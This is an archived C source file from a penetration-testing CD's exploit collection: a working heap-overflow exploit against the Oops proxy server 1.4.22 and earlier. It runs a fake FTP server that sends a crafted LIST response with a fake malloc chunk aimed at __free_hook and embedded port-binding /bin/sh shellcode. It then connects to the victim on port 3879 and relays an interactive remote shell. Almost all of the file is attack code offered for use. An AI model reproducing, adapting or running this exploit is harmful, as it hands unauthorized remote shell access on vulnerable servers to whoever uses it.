home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / proxy / Oops / PKCoops-ex.c < prev   
C/C++ Source or Header  |  2005-02-12  |  7KB  |  220 lines

  1. /* Dimostrative Exploit Against Oops Proxy Server v 1.4.22 and prior
  2.  * Coded by |CyRaX| <cyrax@pkcrew.org>
  3.  * Packet Knights Crew : www.pkcrew.org
  4.  * Tested on Slackware 7.0
  5.  *
  6.  * Greetz : all the bros of pkc, expecially recidjvo,asynchro & cthulhu
  7.  * LordFelix & bikappa : for some hints about heap overflow
  8.  * BlackBerry , Nobody88, sMAV, Mav, Mr^Moon and all the others
  9. */
  10.  
  11.  
  12. #include <stdio.h>
  13. #include <stdlib.h>
  14. #include <netinet/in.h>
  15. #include <sys/types.h>
  16.  
  17. #define ALIGN 0
  18. #define __FREE_HOOK 0x40175994
  19. #define SHELLCODE 0x80b1223
  20.  
  21.  
  22. char c0de[]="\xeb\x0b\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  23.             "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
  24.             "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
  25.             "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
  26.             "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
  27.             "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
  28.             "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
  29.             "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
  30.             "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
  31.  
  32.  
  33. int main(int argc,char **argv){
  34.    int s,s2,clnsock,i;
  35.    struct sockaddr_in srv,clt;
  36.    char buff[500],sndbuff[1500],magic[1000],magic2[50],magic3[5000];
  37.    unsigned long ip;
  38.    int h1,h2,h3,h4,p1,p2;
  39.    u_short port;
  40.    int passive=0,tmplen,wrtlen;
  41.    struct malloc_chunk{
  42.       unsigned int ps;
  43.       unsigned int sz;
  44.       struct malloc_chunk *fd;
  45.       struct malloc_chunk *bd;
  46.    }mc;
  47.    fd_set setz;
  48.  
  49.    mc.ps=0xffffffff & ~1;
  50.    mc.sz=0xffffffff;
  51.    mc.fd=(struct malloc_chunk *)(SHELLCODE); /* shellcode pointer */
  52.    mc.bd=(struct malloc_chunk *)(__FREE_HOOK-8); /* target pointer */
  53.    memset(magic2,0x41,0);
  54.    memcpy(magic2+0,&mc,sizeof(mc));
  55.  
  56.    memset(magic3,'\x90',50);
  57.    memcpy(magic3+50,c0de,strlen(c0de));
  58.    magic3[50+strlen(c0de)]=0;
  59.  
  60.    if(argc<4){
  61.       printf("Proof exploit against oops proxy server heap buffer overflow!\n");
  62.       printf("by |CyRaX| <cyrax@pkcrew.org>\n");
  63.       printf("Member Of Packet Knights Crew - http://www.pkcrew.org\n");
  64.       printf("Usage ./oopsexp <your_ip> <victim ip> <hostname len>\n");
  65.       printf("your ip: it is necessary for the passive mode\n");
  66.       printf("hostname len is the len of the host that he *thinks* to have\n");
  67.       printf("         for example if the hostname is c500 you must put 4 here\n");
  68.  
  69.       exit(0);
  70.    }
  71.    printf("now set the victim as your proxy in any web browser and go to\n");
  72.    printf("ftp://<your_ip>\n");
  73.  
  74.    for(i=0;i<strlen(argv[1]);i++)if(argv[1][i]=='.')argv[1][i]=',';
  75.  
  76.  
  77.    s=socket(AF_INET,SOCK_STREAM,0);
  78.    srv.sin_addr.s_addr=INADDR_ANY;
  79.    srv.sin_port=htons(21);
  80.    srv.sin_family=AF_INET;
  81.    if(bind(s,(struct sockaddr *)&srv,sizeof(srv))<0){
  82.       printf("cannot bind to port 21 !\n");
  83.       exit(0);
  84.    }
  85.    listen(s,1);
  86.    clnsock=accept(s,(struct sockaddr *)&clt,sizeof(clt));
  87.    close(s);
  88.    strcpy(buff,"220 exploit is here :)\r\n");
  89.    send(clnsock,buff,strlen(buff),0);
  90.    recv(clnsock,buff,500,0);
  91.    strcpy(buff,"331 any pass is good d00d\r\n");
  92.    send(clnsock,buff,strlen(buff),0);
  93.    recv(clnsock,buff,500,0);
  94.    strcpy(buff,"230 oky d00d.. login done!\r\n");
  95.    send(clnsock,buff,strlen(buff),0);
  96.    while(1){
  97.       memset(buff,0,500);
  98.       if(recv(clnsock,buff,500,0)<0)break;
  99.       if(strstr(buff,"SYST")){
  100.          strcpy(sndbuff,"215 UNIX Type: L8\r\n");
  101.          send(clnsock,sndbuff,strlen(sndbuff),0);
  102.       }
  103.       if(strstr(buff,"PASV")){
  104.          srv.sin_port=htons(1322);
  105.          if(passive==0){
  106.             s=socket(AF_INET,SOCK_STREAM,0);
  107.             if(bind(s,(struct sockaddr *)&srv,sizeof(srv))<0){
  108.                printf("cannot bind to port 1322 for passive mode!\n");
  109.                exit(0);
  110.             }
  111.             listen(s,4);
  112.             passive=1;
  113.          }
  114.          else {
  115.             close(s2);
  116.          }
  117.          sprintf(sndbuff,"227 Entering Passive Mode (%s,5,42)\r\n",argv[1]);
  118.          send(clnsock,sndbuff,strlen(sndbuff),0);
  119.       }
  120.       if(strstr(buff,"TYPE")){
  121.          strcpy(sndbuff,"200 vabbuo' vabbuo'\r\n");
  122.          send(clnsock,sndbuff,strlen(sndbuff),0);
  123.       }
  124.       if(strstr(buff,"NLST")){
  125.          if(passive){
  126.             s2=accept(s,NULL,NULL);
  127.             strcpy(sndbuff,"150 Opening ASCII mode data connection for file list.\r\n");
  128.             send(clnsock,sndbuff,strlen(sndbuff),0);
  129.             sprintf(sndbuff,"%s\r\n",magic3);
  130.             send(s2,sndbuff,strlen(sndbuff),0);
  131.             close(s2);
  132.             strcpy(sndbuff,"226 Transfer complete.!\r\n");
  133.             send(clnsock,sndbuff,strlen(sndbuff),0);
  134.         
  135.          }
  136.       }
  137.  
  138.       if(strstr(buff,"LIST")){
  139.          strcpy(sndbuff,"150 vieni pure amore!\r\n");
  140.          s2=accept(s,NULL,NULL);
  141.         
  142.          /*   HOW MANY BYTES TO WRITE COMPUTING */
  143.          tmplen=0;
  144.          tmplen=strlen("Arwxrwxrwx rooOOOt   \r\n ")*3+strlen(magic2)*3+
  145.            strlen(magic3)*3;
  146.          tmplen=tmplen+128; /* dovesok */
  147.          tmplen=tmplen+atoi(argv[3]);
  148.          tmplen+=10;
  149.          wrtlen=strlen("<img src=\"http://:80/icons/unknown.gif\">"
  150.                        "alt=\"[Unkn] \" ")+atoi(argv[3]);
  151.          wrtlen=wrtlen+strlen("Arwxrwxrwx rooOOOt   \r\n")+strlen(magic2);
  152.          i=0;
  153.  
  154.          while((wrtlen-tmplen)<16){
  155.                magic[i]='"';
  156.                tmplen+=3; /* 1 *3 */
  157.                wrtlen+=6; /* " */
  158.                i++;
  159.          }
  160.          magic[i]=0;
  161.          printf("ora tmplen %i | wrtlen %i\n",tmplen,wrtlen);
  162.         
  163.         
  164.          memset(sndbuff,0,1500);
  165.          snprintf(sndbuff,6000,"Arwxrwxrwx rooOOOt %s %s 2000 %s\r\n",
  166.                   magic,
  167.                   magic2,
  168.                   magic3);
  169.         
  170.          send(s2,sndbuff,3000,0);
  171.          strcpy(sndbuff,"226 Ho finito\r\n");
  172.          send(clnsock,sndbuff,strlen(sndbuff),0);
  173.          shutdown(s2,2);
  174.          printf("closed!\n");
  175.          sleep(5);
  176.          s2=socket(AF_INET,SOCK_STREAM,0);
  177.          clt.sin_addr.s_addr=inet_addr(argv[2]);
  178.          clt.sin_port=htons(3879);
  179.          clt.sin_family=AF_INET;
  180.          if(connect(s2,(struct sockaddr *)&clt,sizeof(clt))!=0){
  181.             printf("SORRY.. it didn't work!\n");
  182.             exit(0);
  183.          }
  184.          strcpy(sndbuff,"uname -a;id\n");
  185.          send(s2,sndbuff,strlen(sndbuff),0);
  186.          while(1){
  187.             FD_ZERO(&setz);
  188.             FD_SET(0,&setz);
  189.             FD_SET(s2,&setz);
  190.             select(s2+1,&setz,NULL,NULL,NULL);
  191.             if(FD_ISSET(0,&setz)){
  192.                memset(sndbuff,0,sizeof(sndbuff));
  193.                fgets(sndbuff,sizeof(sndbuff),stdin);
  194.                send(s2,sndbuff,strlen(sndbuff),0);
  195.             }
  196.             if(FD_ISSET(s2,&setz)){
  197.                memset(sndbuff,0,sizeof(sndbuff));
  198.                recv(s2,sndbuff,sizeof(sndbuff),0);
  199.                printf("%s",sndbuff);
  200.             }
  201.          }
  202.       }
  203.       if(strstr(buff,"CWD")){
  204.          strcpy(sndbuff,"250 SUUU.. FATTI SOTTO !\r\n");
  205.          send(clnsock,sndbuff,strlen(sndbuff),0);
  206.       }
  207.       if(strstr(buff,"PWD")){
  208.          strcpy(sndbuff,"257 \"/\" ti stai cagando sotto eh ?!\r\n");
  209.          send(clnsock,sndbuff,strlen(sndbuff),0);
  210.       }
  211.       if(strstr(buff,"QUIT")){
  212.          close(clnsock);
  213.       }
  214.    }
  215.    close(clnsock);
  216.    close(s);
  217.    close(s2);
  218. }
  219.  
  220.